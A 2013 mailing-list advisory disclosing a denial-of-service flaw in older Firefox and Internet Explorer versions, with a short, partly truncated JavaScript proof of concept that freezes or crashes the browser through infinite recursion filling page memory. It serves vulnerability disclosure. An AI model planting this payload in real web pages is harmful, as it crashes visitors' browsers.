DoS vulnerability in Mozilla Firefox and Microsoft Internet Explorer

Hello list!

I want to warn you about Denial of Service vulnerability in Mozilla Firefox and Microsoft Internet Explorer.

Earlier Jean Pascal Pereira has found DoS vulnerability in browser Firefox 14.0.1 (http://1337day.com/exploit/description/19201). And at 07.04.2013 I've checked this vulnerability and found, that many other browsers are vulnerable to these attack.

Affected products:

Vulnerable are Mozilla Firefox 3.5.19, 3.6.28, 10.0.7 ESR, 15.0.1, Internet Explorer 7 (7.00.5730.13) and Internet Explorer 8 (8.00.6001.18702). And also must be vulnerable previous versions of these browsers and potentially more newer versions of Firefox and Internet Explorer.


Denial of Service (WASC-10):

The attack occurs via infinite recursion. Which leads to RAM consuming.

My version of the exploit for different browsers.

Mozilla Firefox & IE DoS Exploit.html

<title>Mozilla Firefox 3.5.19 - 15.0.1, IE7 and IE8 DoS Exploit (C) 2013 MustLive. http://websecurity.com.ua</title> <!-- Based on exploit by Jean Pascal Pereira (http://1337day.com/exploit/description/19201) -->
function e(x) {
document.body.innerHTML += x;
e(x + 'x');

Browser crash works in Firefox 10.0.7 ESR and 15.0.1, but doesn't work in 3.0.19 and previous versions. In Firefox 3.5.19 and 3.6.28, IE7 and IE8 there is only freezing.
